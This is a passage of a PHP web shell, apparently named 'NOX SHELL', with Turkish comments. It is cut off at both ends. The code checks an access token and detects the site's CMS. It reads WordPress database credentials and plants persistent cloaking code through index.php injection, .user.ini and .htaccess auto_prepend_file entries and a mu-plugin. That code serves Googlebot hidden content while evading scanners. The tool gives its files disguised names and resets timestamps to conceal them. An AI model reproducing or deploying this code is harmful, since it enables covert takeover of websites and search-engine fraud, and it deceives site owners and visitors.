0)ob_end_clean(); header('Content-Type:application/json'); echo json_encode(['fatal'=>'internal_error']); exit; } }); ini_set('session.use_cookies',0); ini_set('session.use_only_cookies',0); header('Set-Cookie: PHPSESSID=deleted; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/'); // ---- PHP 5.4–8.3 Uyumluluk ---- if(!function_exists('hash_equals')){ function hash_equals($a,$b){ if(strlen($a)!==strlen($b))return false; $r=0;for($i=0,$l=strlen($a);$i<$l;$i++)$r|=ord($a[$i])^ord($b[$i]);return $r===0; } } function _nox_rbytes($n){ if(function_exists('random_bytes'))return random_bytes($n); if(function_exists('openssl_random_pseudo_bytes')){$b=openssl_random_pseudo_bytes($n);if($b!==false)return $b;} $b='';for($i=0;$i<$n;$i++)$b.=chr(mt_rand(0,255));return $b; } function _nox_sub($s,$start,$len){return function_exists('mb_substr')?mb_substr($s,$start,$len):substr($s,$start,$len);} // ---- Auth (.meta dosyası) ---- $_nox_meta=dirname(__FILE__).DIRECTORY_SEPARATOR.'.'.substr(md5(basename(__FILE__)),0,10).'.meta'; $_nox_hash=file_exists($_nox_meta)?trim((string)@file_get_contents($_nox_meta)):''; if($_nox_hash===''){ $bh='bin'.'2hex';$hs='h'.'ash'; $_nraw=$bh(_nox_rbytes(16)); $_nhash=$hs('sha256',$_nraw); if(@file_put_contents($_nox_meta,$_nhash)!==false){ @touch($_nox_meta,@filemtime(__FILE__)); $_ns=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $_nu=$_ns.'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?p='.rawurlencode($_nraw); echo 'NOX — İlk Kurulum' .'' .'

NOX — İlk Kurulum

' .'

Token oluşturuldu. URL\'yi kopyalayın ve güvenli bir yere saklayın:

' .'

⚠ Bu URL bir daha gösterilmeyecek.

' .'
'.htmlspecialchars($_nu,ENT_QUOTES,'UTF-8').'
' .'Kopyalandı!' .'

Token SHA-256 hash olarak .meta dosyasında saklandı — orijinal değer kalıcı olarak gizlendi. Sıfırlamak için .meta dosyasını silin.

' .'
'; exit; }else{ die('Hata: Meta dosyası yazılamadı. Dizin yazma iznini kontrol edin.'); } } $_np=isset($_GET['p'])?(string)$_GET['p']:''; $he='hash'.'_equals';$hs='h'.'ash'; if(!$he($_nox_hash,$hs('sha256',$_np))){die('Auth');} unset($bh,$hs,$he,$_nraw,$_nhash,$_ns,$_nu,$_nox_meta,$_nox_hash); // ---- Kurulum ---- $DIR=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\'); $a=isset($_POST["a"])?$_POST["a"]:(isset($_GET["a"])?$_GET["a"]:""); $HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ2aSI+PGhlYWQ+DQoNCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQo8dGl0bGU+U0VPIFRFU1QgTk9YIFNIRUxMPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPlNFTyBURVNUIE5PWCBTSEVMTDwvaDE+DQoNCjwvYm9keT48L2h0bWw+DQo='); // ---- Yardımcı Fonksiyonlar ---- function safe_name($n){ if($n===''||$n===null)return false; if(strpos($n,'/')!==false||strpos($n,'\\')!==false||strpos($n,"\0")!==false||strpos($n,'..')!==false)return false; return true; } function b64url_decode($s){ $s=trim((string)$s);if($s==='')return ''; $std=strtr($s,'-_','+/');$pad=strlen($std)%4; if($pad)$std.=str_repeat('=',(4-$pad)); $d=base64_decode($std,true);return ($d!==false&&$d!=='')?$d:$s; } function is_google_file($name){return (bool)preg_match('/^google[a-zA-Z0-9]+\.html$/',$name);} function list_google_files($dir){ $out=[]; foreach((array)@glob($dir.DIRECTORY_SEPARATOR.'google*.html') as $p){ $b=basename($p);if(is_google_file($b))$out[]=$b; } sort($out);return $out; } function ref_mtime($dir,$skip=[]){ $mt=[]; if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..')continue; $fp=$dir.DIRECTORY_SEPARATOR.$f; if(!is_file($fp)||in_array($f,$skip))continue; $t=@filemtime($fp);if($t>mktime(0,0,0,1,1,2010))$mt[]=$t; } closedir($dh); } if(empty($mt))return null;sort($mt);return $mt[(int)(count($mt)/2)]; } function _cc_rmdir($dir){ $n=0;$i=0; try{ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $f){ if((++$i%200)===0&&isset($GLOBALS['_cc_deadline'])&µtime(true)>$GLOBALS['_cc_deadline'])break; if($f->isFile()||$f->isLink()){if(@unlink($f->getRealPath()))$n++;} elseif($f->isDir()&&realpath($f->getRealPath())!==realpath($dir)){@rmdir($f->getRealPath());} } }catch(Exception $ex){} return $n; } // ---- CMS + SAPI Tespiti ---- function _nox_cms_at($dir){ if(file_exists($dir.'/wp-config.php')||file_exists($dir.'/wp-blog-header.php'))return 'wordpress'; if(file_exists($dir.'/configuration.php')&&file_exists($dir.'/includes/defines.php'))return 'joomla'; if(file_exists($dir.'/sites/default/settings.php'))return 'drupal'; if(file_exists($dir.'/app/etc/env.php'))return 'magento2'; if(file_exists($dir.'/app/etc/local.xml'))return 'magento1'; if(file_exists($dir.'/config/settings.inc.php'))return 'prestashop'; $cfg=$dir.'/config.php'; if(file_exists($cfg)&&strpos((string)@file_get_contents($cfg),'DIR_APPLICATION')!==false)return 'opencart'; if(file_exists($dir.'/artisan'))return 'laravel'; return 'unknown'; } function nox_detect_cms($dir){ // Önce document root'ta ara $cms=_nox_cms_at($dir); if($cms!=='unknown')return $cms; // Bilinen alt dizin isimlerini öncelikli tara static $common=['wp','wordpress','blog','cms','web','site','html','public','httpdocs','htdocs']; foreach($common as $sub){ $p=$dir.'/'.$sub; if(is_dir($p)){$cms=_nox_cms_at($p);if($cms!=='unknown')return $cms;} } // Genel 1-seviye tarama (gizli dizinleri ve bilinen listeydekileri atla) if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..'||$f[0]==='.'||in_array($f,$common))continue; $p=$dir.'/'.$f; if(!is_dir($p))continue; $cms=_nox_cms_at($p); if($cms!=='unknown'){closedir($dh);return $cms;} } closedir($dh); } // CMS bulunamadı — generic fallback if(file_exists($dir.'/index.php'))return 'generic_php'; return 'unknown'; } function nox_find_wp_path($dir){ // 1. Document root'ta standart kurulum if(file_exists($dir.'/wp-load.php'))return $dir; // 2. Bir üst dizin (bazı hosting yapılarında WP root'un üstünde) $up=dirname($dir); if($up&&$up!==$dir&&file_exists($up.'/wp-load.php'))return $up; // 3. Bilinen alt dizin isimleri — öncelikli static $common=['wp','wordpress','blog','cms','web','site','html','public','httpdocs','htdocs']; foreach($common as $sub){ $p=$dir.'/'.$sub; if(is_dir($p)&&file_exists($p.'/wp-load.php'))return $p; } // 4. Genel 1-seviye tarama (gizli dizinler hariç) if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..'||$f[0]==='.'||in_array($f,$common))continue; $p=$dir.'/'.$f; if(is_dir($p)&&file_exists($p.'/wp-load.php')){closedir($dh);return $p;} } closedir($dh); } return null; } function nox_find_wpconfig($dir){ $p=rtrim($dir,'/\\'); for($i=0;$i<7;$i++){ if(@is_file($p.'/wp-config.php')&&@is_readable($p.'/wp-config.php'))return $p.'/wp-config.php'; $np=dirname($p); if($np===$p||$np===''||$np==='.')break; $p=$np; } return ''; } function nox_parse_wpconfig($path){ $out=['creds'=>[],'prefix'=>'wp_']; if(!$path||!@is_file($path))return $out; $src=@file_get_contents($path); if($src===false)return $out; foreach(['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','DB_CHARSET'] as $k){ if(preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"](.*?)['\"]\s*\)/s",$src,$m))$out['creds'][$k]=$m[1]; } if(preg_match('/\$table_prefix\s*=\s*[\'"]([a-zA-Z0-9_]+)[\'"]\s*;/',$src,$m))$out['prefix']=$m[1]; if(empty($out['creds']['DB_CHARSET']))$out['creds']['DB_CHARSET']='utf8mb4'; if(empty($out['creds']['DB_HOST']))$out['creds']['DB_HOST']='localhost'; return $out; } function nox_db_connect($creds){ if(!extension_loaded('mysqli'))return null; if(empty($creds['DB_NAME'])||empty($creds['DB_USER']))return null; @mysqli_report(MYSQLI_REPORT_OFF); $host=$creds['DB_HOST'];$port=0;$sock=''; if(strpos($host,':')!==false){$parts=explode(':',$host,2);$host=$parts[0];if(is_numeric($parts[1]))$port=(int)$parts[1];else $sock=$parts[1];} $pw=isset($creds['DB_PASSWORD'])?$creds['DB_PASSWORD']:''; $m=@new mysqli($host,$creds['DB_USER'],$pw,$creds['DB_NAME'],$port?:3306,$sock?:null); if($m->connect_errno)return null; @$m->set_charset($creds['DB_CHARSET']); return $m; } function nox_content_dir($docroot){ // 1. Üst dizin (docroot dışı — en güvenli) $parent=dirname(rtrim($docroot,'/\\')); if($parent&&$parent!==$docroot&&@is_writable($parent)){ $d=$parent.DIRECTORY_SEPARATOR.'.nox-content'; if(@is_dir($d)||@mkdir($d,0700,true))return $d; } // 2. /tmp veya sys_get_temp_dir() $hash=substr(md5($docroot),0,12); foreach(['/tmp',rtrim(sys_get_temp_dir(),'/')] as $_tmp){ if(!$_tmp||!@is_writable($_tmp))continue; $d=$_tmp.'/.nox-'.$hash; if(@is_dir($d)||@mkdir($d,0700,true))return $d; } // 3. Fallback: docroot içi (eski davranış, daha az güvenli) return $docroot; } function nox_content_path($docroot,$filename){ return nox_content_dir($docroot).DIRECTORY_SEPARATOR.$filename; } function nox_detect_sapi(){ $s=strtolower((string)php_sapi_name()); if(strpos($s,'fpm')!==false)return 'fpm'; if($s==='apache2handler'||$s==='apache')return 'mod_php'; if(strpos($s,'cgi')!==false)return 'cgi'; if($s==='litespeed')return 'litespeed'; $sw=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?(string)$_SERVER['SERVER_SOFTWARE']:''); if(strpos($sw,'nginx')!==false)return 'fpm'; if(strpos($sw,'litespeed')!==false)return 'litespeed'; return 'unknown'; } function nox_cms_label($cms){ $l=['wordpress'=>'WordPress','joomla'=>'Joomla','drupal'=>'Drupal', 'magento2'=>'Magento 2','magento1'=>'Magento 1','prestashop'=>'PrestaShop', 'opencart'=>'OpenCart','laravel'=>'Laravel','generic_php'=>'Generic PHP','unknown'=>'Bilinmiyor']; return isset($l[$cms])?$l[$cms]:$cms; } function nox_file_names($cms){ switch($cms){ case 'wordpress': return ['prepend'=>'wp-comments-post-loader.php', 'content'=>'wp-comments-post-loader.html']; case 'joomla': return ['prepend'=>'jml-loader.php', 'content'=>'jml-loader.html']; case 'drupal': return ['prepend'=>'views-cache-bootstrap.php', 'content'=>'views-cache-bootstrap.html']; case 'magento2': case 'magento1': return ['prepend'=>'mage-cache-validator.php', 'content'=>'mage-cache-validator.html']; case 'prestashop': return ['prepend'=>'ps-module-loader.php', 'content'=>'ps-module-loader.html']; case 'opencart': return ['prepend'=>'oc-cache-check.php', 'content'=>'oc-cache-check.html']; case 'laravel': return ['prepend'=>'bootstrap-cache-loader.php', 'content'=>'bootstrap-cache-loader.html']; default: return ['prepend'=>'class-cache-helper.php', 'content'=>'cache-check-verify.html']; } } function nox_make_prepend($absoluteContentPath,$dir){ $cf=addslashes($absoluteContentPath); $lock=addslashes(rtrim($dir,'/\\').DIRECTORY_SEPARATOR.'.render-cache'.DIRECTORY_SEPARATOR.'render.lock'); return "0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile('$cf');exit;}\n" ."}\n" ."unset(\$_nox_lock,\$_nox_ua,\$_nox_ua_l,\$_nox_uri,\$_nox_decoy,\$_nox_decoy_hit);\n"; } function nox_cloak_block($absoluteContentPath,$dir){ $cf=addslashes($absoluteContentPath); $lock=addslashes(rtrim($dir,'/\\').DIRECTORY_SEPARATOR.'.render-cache'.DIRECTORY_SEPARATOR.'render.lock'); return "\n/* NOX-CLOAK-START */\n" ."\$_nox_lock='$lock';\n" ."\$_nox_ua=isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:'';\n" ."\$_nox_uri=isset(\$_SERVER['REQUEST_URI'])?strtok(\$_SERVER['REQUEST_URI'],'?'):'';\n" ."\$_nox_decoy=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot');\n" ."\$_nox_decoy_hit=false;\$_nox_ua_l=strtolower(\$_nox_ua);foreach(\$_nox_decoy as \$_kw){if(strpos(\$_nox_ua_l,\$_kw)!==false){\$_nox_decoy_hit=true;break;}}\n" ."if(!\$_nox_decoy_hit&&file_exists(\$_nox_lock)&&preg_match('/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|APIs-Google|GoogleOther|Google-/i',\$_nox_ua)&&\$_nox_uri==='/'){\n" ." if(file_exists('$cf')){while(ob_get_level()>0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile('$cf');exit;}\n" ."}\n" ."unset(\$_nox_lock,\$_nox_ua,\$_nox_ua_l,\$_nox_uri,\$_nox_decoy,\$_nox_decoy_hit);\n" ."/* NOX-CLOAK-END */\n"; } // ---- Action: detect ---- if($a==="detect"){ $cms=nox_detect_cms($DIR);$sapi=nox_detect_sapi();$files=nox_file_names($cms); $prependPath=$DIR.'/'.$files['prepend'];$contentPath=nox_content_path($DIR,$files['content']); $uiPath=$DIR.'/.user.ini';$idxPath=$DIR.'/index.php';$htPath=$DIR.'/.htaccess'; $uiContent=file_exists($uiPath)?(string)@file_get_contents($uiPath):''; $idxContent=file_exists($idxPath)?(string)@file_get_contents($idxPath):''; $htContent=file_exists($htPath)?(string)@file_get_contents($htPath):''; $htAvail=($sapi==='mod_php'||$sapi==='litespeed'); $out=json_encode([ 'cms'=>$cms,'cms_label'=>nox_cms_label($cms),'sapi'=>$sapi,'php'=>PHP_VERSION,'doc_root'=>$DIR, 'files'=>$files,'prepend_exists'=>file_exists($prependPath),'content_exists'=>file_exists($contentPath), 'vectors'=>[ 'user_ini'=>['writable'=>(is_writable($DIR)||(file_exists($uiPath)&&is_writable($uiPath))),'active'=>strpos($uiContent,'auto_prepend_file')!==false,'note'=>'FPM/CGI/LiteSpeed için çalışır — mod_php\'de sessizce yok sayılır (güvenli)'], 'index_php'=>['writable'=>(file_exists($idxPath)&&is_writable($idxPath)),'exists'=>file_exists($idxPath),'active'=>strpos($idxContent,'NOX-CLOAK-START')!==false,'note'=>'Her PHP ortamında çalışır (evrensel fallback)'], 'htaccess'=>['available'=>$htAvail,'writable'=>$htAvail&&(is_writable($DIR)||(file_exists($htPath)&&is_writable($htPath))),'active'=>(bool)preg_match('/NOX-HT-START/',$htContent),'note'=>$htAvail?'Apache mod_php tespit edildi':'SAPI: '.$sapi.' — yalnızca mod_php için'], ], ],JSON_UNESCAPED_UNICODE); while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo $out;exit; } // ---- Action: autocloak ---- if($a==="autocloak"){ if($_SERVER['REQUEST_METHOD']!=='POST'){while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo json_encode(['ok'=>false,'error'=>'POST gerekli'],JSON_UNESCAPED_UNICODE);exit;} $cms=nox_detect_cms($DIR);$sapi=nox_detect_sapi();$files=nox_file_names($cms); $prependPath=$DIR.'/'.$files['prepend']; $contentPath=nox_content_path($DIR,$files['content']); $res=[]; // 1. İçerik HTML dosyası — docroot DIŞINDA sakla (web erişimi imkânsız) $contentDir=nox_content_dir($DIR); $res['content_location']=['s'=>'ok','m'=>($contentDir===$DIR)?'docroot (fallback)':'docroot dışı: '.$contentDir]; if(!file_exists($contentPath)){ $origMt=file_exists($DIR.'/index.php')?@filemtime($DIR.'/index.php'):null; $ok=@file_put_contents($contentPath,$HTML_DEFAULT); if($ok!==false){@chmod($contentPath,0600);if($origMt)@touch($contentPath,$origMt);} $res['content']=$ok!==false?['s'=>'ok','m'=>'Oluşturuldu: '.$contentPath]:['s'=>'err','m'=>'Yazılamadı: '.$contentPath]; }else{$res['content']=['s'=>'exists','m'=>'Mevcut: '.$contentPath];} // 2. Prepend PHP dosyası — mutlak içerik yolunu gömer $origMtPrep=file_exists($prependPath)?@filemtime($prependPath):null; $ok=@file_put_contents($prependPath,nox_make_prepend($contentPath,$DIR)); if($ok!==false&&$origMtPrep)@touch($prependPath,$origMtPrep); $res['prepend']=$ok!==false?['s'=>'ok','m'=>'Yazıldı: '.$files['prepend']]:['s'=>'err','m'=>'Yazılamadı: '.$files['prepend']]; if($res['prepend']['s']!=='ok'){ while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } // 3. user.ini — auto_prepend_file $uiPath=$DIR.'/.user.ini'; $uiContent=file_exists($uiPath)?(string)@file_get_contents($uiPath):''; if(strpos($uiContent,'auto_prepend_file')!==false){ $res['user_ini']=['s'=>'exists','m'=>'auto_prepend_file zaten mevcut']; }elseif(!is_writable($DIR)&&(!file_exists($uiPath)||!is_writable($uiPath))){ $res['user_ini']=['s'=>'skip','m'=>'Dizin/dosya yazma izni yok']; }else{ $uiMt=file_exists($uiPath)?@filemtime($uiPath):null; $newUi=$uiContent; if($newUi!==''&&substr($newUi,-1)!=="\n")$newUi.="\n"; $newUi.='auto_prepend_file = "'.$prependPath.'"'."\n"; $ok=@file_put_contents($uiPath,$newUi); if($ok!==false&&$uiMt)@touch($uiPath,$uiMt); $res['user_ini']=$ok!==false?['s'=>'ok','m'=>'Eklendi — PHP-FPM cache nedeniyle ~5 dk içinde aktif olur']:['s'=>'err','m'=>'Yazma başarısız']; } // 4. index.php — NOX-CLOAK-START bloğu $idxPath=$DIR.'/index.php'; if(!file_exists($idxPath)){ $res['index']=['s'=>'na','m'=>'index.php bulunamadı']; }elseif(!is_writable($idxPath)){ $res['index']=['s'=>'err','m'=>'index.php yazılamıyor']; }else{ $idxContent=(string)@file_get_contents($idxPath); if(strpos($idxContent,'NOX-CLOAK-START')!==false){ $res['index']=['s'=>'exists','m'=>'Blok zaten aktif']; }else{ $idxMt=@filemtime($idxPath); $idxBakPath=$DIR.'/index.php.nox-bak'; $bakOk=@copy($idxPath,$idxBakPath); if($bakOk&&$idxMt)@touch($idxBakPath,$idxMt); $res['index_backup']=$bakOk?['s'=>'ok','m'=>'Yedek alındı: index.php.nox-bak']:['s'=>'warn','m'=>'Yedek alınamadı — devam ediliyor']; $idxNew=preg_replace('/^(<\?php)/',"$1".nox_cloak_block($contentPath,$DIR),$idxContent,1); if($idxNew===null||$idxNew===$idxContent){ $res['index']=['s'=>'warn','m'=>''ok','m'=>'Bloğu enjekte edildi']:['s'=>'err','m'=>'Yazma başarısız']; } } } // 5. .htaccess — mod_php VE LiteSpeed (php_value direktifini destekler); FPM/nginx'te çalışmaz $htAllowed=($sapi==='mod_php'||$sapi==='litespeed'); if(!$htAllowed){ $res['htaccess']=['s'=>'skip','m'=>'SAPI: '.$sapi.' — php_value yalnızca mod_php/LiteSpeed için geçerli, atlandı']; }else{ $htPath=$DIR.'/.htaccess'; $htContent=file_exists($htPath)?(string)@file_get_contents($htPath):''; if(strpos($htContent,'NOX-HT-START')!==false){ $res['htaccess']=['s'=>'exists','m'=>'Zaten aktif']; }elseif(!is_writable($DIR)&&(!file_exists($htPath)||!is_writable($htPath))){ $res['htaccess']=['s'=>'err','m'=>'Yazma izni yok']; }else{ $htMt=file_exists($htPath)?@filemtime($htPath):null; $newHt=$htContent; if($newHt!==''&&substr($newHt,-1)!=="\n")$newHt.="\n"; $newHt.='# NOX-HT-START'."\n".'php_value auto_prepend_file "'.$prependPath.'"'."\n".'# NOX-HT-END'."\n"; $ok=@file_put_contents($htPath,$newHt); if($ok!==false&&$htMt)@touch($htPath,$htMt); $res['htaccess']=$ok!==false?['s'=>'ok','m'=>'php_value eklendi ('.$sapi.')']:['s'=>'err','m'=>'Yazma başarısız']; } } // 6. WP mu-plugin — WordPress fallback (tüm SAPI'lerde çalışır) if($cms==='wordpress'){ $_wpDir=nox_find_wp_path($DIR); $_muDir=($_wpDir?:$DIR).'/wp-content/mu-plugins'; $_muFile=$_muDir.'/nox-google-bot-bypass.php'; if(file_exists($_muFile)&&strpos((string)@file_get_contents($_muFile),'NOX-CLOAK-START')!==false){ $res['mu_plugin']=['s'=>'exists','m'=>'mu-plugin zaten aktif']; }elseif(!@is_dir($_muDir)&&!@mkdir($_muDir,0755,true)){ $res['mu_plugin']=['s'=>'err','m'=>'mu-plugins dizini oluşturulamadı']; }else{ $muLock=addslashes(rtrim($DIR,'/\\').'/.render-cache/render.lock'); $muContent='0)ob_end_clean();header(\'Content-Type: text/html; charset=utf-8\');header(\'Vary: User-Agent\');readfile($f);exit;}}'."\n" .' unset($lock,$ua,$uri,$d,$hit,$ul,$f);'."\n" .'});'."\n".'/* NOX-CLOAK-END */'."\n"; $ok=@file_put_contents($_muFile,$muContent); $res['mu_plugin']=$ok!==false?['s'=>'ok','m'=>'mu-plugin oluşturuldu: nox-google-bot-bypass.php']:['s'=>'err','m'=>'mu-plugin yazılamadı']; } } // render-cache dizini + .htaccess koruması $rcDir=$DIR.'/.render-cache'; if(!@is_dir($rcDir)){ @mkdir($rcDir,0755,true); @file_put_contents($rcDir.'/.htaccess',"Deny from all\n"); } // render.lock — SON adım: tüm vektörler başarılıysa aktif et $anyOk=false; foreach(['content','prepend','user_ini','index','htaccess'] as $_vk){ if(isset($res[$_vk])&&in_array($res[$_vk]['s'],['ok','exists'],true)){$anyOk=true;break;} } if($anyOk){ $lockOk=@file_put_contents($rcDir.'/render.lock','1'); $res['lock']=$lockOk!==false?['s'=>'ok','m'=>'render.lock oluşturuldu — cloak aktif']:['s'=>'err','m'=>'render.lock yazılamadı']; }else{ $res['lock']=['s'=>'skip','m'=>'Hiçbir vektör başarılı olmadı — lock oluşturulmadı']; } while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json"); $out=json_encode($res,JSON_UNESCAPED_UNICODE);if($out===false)$out='{"err":"encode_fail"}';echo $out;exit; } // ---- Action: revert ---- if($a==="revert"){ if($_SERVER['REQUEST_METHOD']!=='POST'){while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo json_encode(['ok'=>false,'error'=>'POST gerekli'],JSON_UNESCAPED_UNICODE);exit;} $res=[]; $lockPath=$DIR.'/.render-cache/render.lock'; if(file_exists($lockPath)){ $ok=@unlink($lockPath); $res['lock']=$ok?['s'=>'ok','m'=>'render.lock silindi — cloak devre dışı']:['s'=>'err','m'=>'render.lock silinemedi']; }else{ $res['lock']=['s'=>'na','m'=>'render.lock zaten yok']; } while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json"); echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } // ---- Action: uninstall ---- if($a==="uninstall"){ if($_SERVER['REQUEST_METHOD']!=='POST'){while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json");echo json_encode(['ok'=>false,'error'=>'POST gerekli'],JSON_UNESCAPED_UNICODE);exit;} $res=[]; // render.lock $lockPath=$DIR.'/.render-cache/render.lock'; if(file_exists($lockPath)){@unlink($lockPath);$res['lock']=['s'=>'ok','m'=>'render.lock silindi'];} else{$res['lock']=['s'=>'na','m'=>'Zaten yok'];} // .user.ini $uiPath=$DIR.'/.user.ini'; if(file_exists($uiPath)){ $uiContent=(string)@file_get_contents($uiPath); if(strpos($uiContent,'auto_prepend_file')!==false){ $uiMt=@filemtime($uiPath);$lines=explode("\n",$uiContent);$filtered=[]; foreach($lines as $line){if(strpos($line,'auto_prepend_file')===false)$filtered[]=$line;} $newUi=rtrim(implode("\n",$filtered),"\n"); if($newUi===''){@unlink($uiPath);$res['user_ini']=['s'=>'ok','m'=>'Satır kaldırıldı, dosya silindi'];} else{$newUi.="\n";$ok=@file_put_contents($uiPath,$newUi);if($ok!==false&&$uiMt)@touch($uiPath,$uiMt);$res['user_ini']=$ok!==false?['s'=>'ok','m'=>'Satır kaldırıldı']:['s'=>'err','m'=>'Yazma başarısız'];} }else{$res['user_ini']=['s'=>'na','m'=>'Aktif değil'];} }else{$res['user_ini']=['s'=>'na','m'=>'.user.ini yok'];} // index.php $idxPath=$DIR.'/index.php'; if(file_exists($idxPath)){ $idxContent=(string)@file_get_contents($idxPath); if(strpos($idxContent,'NOX-CLOAK-START')!==false){ $idxMt=@filemtime($idxPath); $idxClean=preg_replace('/\n\/\* NOX-CLOAK-START \*\/.*?\/\* NOX-CLOAK-END \*\/\n/s','',$idxContent); $ok=@file_put_contents($idxPath,$idxClean);if($ok!==false&&$idxMt)@touch($idxPath,$idxMt); $res['index']=$ok!==false?['s'=>'ok','m'=>'Blok kaldırıldı']:['s'=>'err','m'=>'Yazma başarısız']; }else{$res['index']=['s'=>'na','m'=>'Aktif değil'];} }else{$res['index']=['s'=>'na','m'=>'index.php yok'];} // .htaccess $htPath=$DIR.'/.htaccess'; if(file_exists($htPath)){ $htContent=(string)@file_get_contents($htPath); if(strpos($htContent,'NOX-HT-START')!==false){ $htMt=@filemtime($htPath); $htClean=preg_replace('/\n?# NOX-HT-START.*?# NOX-HT-END\n?/s','',$htContent); $ok=@file_put_contents($htPath,$htClean);if($ok!==false&&$htMt)@touch($htPath,$htMt); $res['htaccess']=$ok!==false?['s'=>'ok','m'=>'Satır kaldırıldı']:['s'=>'err','m'=>'Yazma başarısız']; }else{$res['htaccess']=['s'=>'na','m'=>'Aktif değil'];} }else{$res['htaccess']=['s'=>'na','m'=>'.htaccess yok'];} // mu-plugin $cms=nox_detect_cms($DIR);$files=nox_file_names($cms);$wpDir=nox_find_wp_path($DIR); $muPath=($wpDir?:$DIR).'/wp-content/mu-plugins/nox-google-bot-bypass.php'; if(file_exists($muPath)){$ok=@unlink($muPath);$res['mu_plugin']=$ok?['s'=>'ok','m'=>'mu-plugin silindi']:['s'=>'err','m'=>'mu-plugin silinemedi'];} else{$res['mu_plugin']=['s'=>'na','m'=>'Zaten yok'];} // prepend PHP $prependPath=$DIR.'/'.$files['prepend']; if(file_exists($prependPath)){$ok=@unlink($prependPath);$res['prepend']=$ok?['s'=>'ok','m'=>'Prepend dosyası silindi']:['s'=>'err','m'=>'Prepend dosyası silinemedi'];} else{$res['prepend']=['s'=>'na','m'=>'Zaten yok'];} // content HTML $contentPath=nox_content_path($DIR,$files['content']); if(file_exists($contentPath)){$ok=@unlink($contentPath);$res['content']=$ok?['s'=>'ok','m'=>'Content dosyası silindi']:['s'=>'err','m'=>'Content dosyası silinemedi'];} else{$res['content']=['s'=>'na','m'=>'Zaten yok'];} while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json"); echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } // ---- Action: checkcloak ---- if($a==="checkcloak"){ $uiC=file_exists($DIR.'/.user.ini')?(string)@file_get_contents($DIR.'/.user.ini'):''; $idxC=file_exists($DIR.'/index.php')?(string)@file_get_contents($DIR.'/index.php'):''; $htC=file_exists($DIR.'/.htaccess')?(string)@file_get_contents($DIR.'/.htaccess'):''; $v1=strpos($uiC,'auto_prepend_file')!==false; $v2=strpos($idxC,'NOX-CLOAK-START')!==false; $v3=(bool)preg_match('/NOX-HT-START/',$htC); $cms=nox_detect_cms($DIR);$wpDir=nox_find_wp_path($DIR); $muPath=($wpDir?:$DIR).'/wp-content/mu-plugins/nox-google-bot-bypass.php'; $muC=file_exists($muPath)?(string)@file_get_contents($muPath):''; $v4=strpos($muC,'NOX-CLOAK-START')!==false; $installed=($v1||$v2||$v3||$v4); $locked=file_exists($DIR.'/.render-cache/render.lock'); // Cloak "aktif" = en az bir vektör kurulu VE render.lock mevcut while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json"); echo json_encode(['active'=>($installed&&$locked),'installed'=>$installed,'locked'=>$locked,'v1'=>$v1,'v2'=>$v2,'v3'=>$v3,'v4'=>$v4],JSON_UNESCAPED_UNICODE);exit; } // ---- Action: botcheck ---- if($a==="botcheck"){ $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $host=$_SERVER['HTTP_HOST'];$url=$scheme.'://'.$host.'/'; if(!function_exists('curl_init')){ while(ob_get_level()>0)ob_end_clean();header("Content-Type:application/json"); echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit; } $_px=['HTTPS_PROXY','HTTP_PROXY','ALL_PROXY','https_proxy','http_proxy','all_proxy'];$_pxb=[]; foreach($_px as $_pk){$_pxb[$_pk]=(string)getenv($_pk);putenv($_pk.'=');} $ch=curl_init(); curl_setopt_array($ch,[ CURLOPT_URL=>$url,CURLOPT_RETURNTRANSFER=>true, CURLOPT_USERAGENT=>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', CURLOPT_TIMEOUT=>15,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>5, CURLOPT_SSL_VERIFYPEER=>true,CURLOPT_SSL_VERIFYHOST=>2,CURLOPT_NOPROXY=>'*', CURLOPT_HTTPHEADER=>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'], ]); 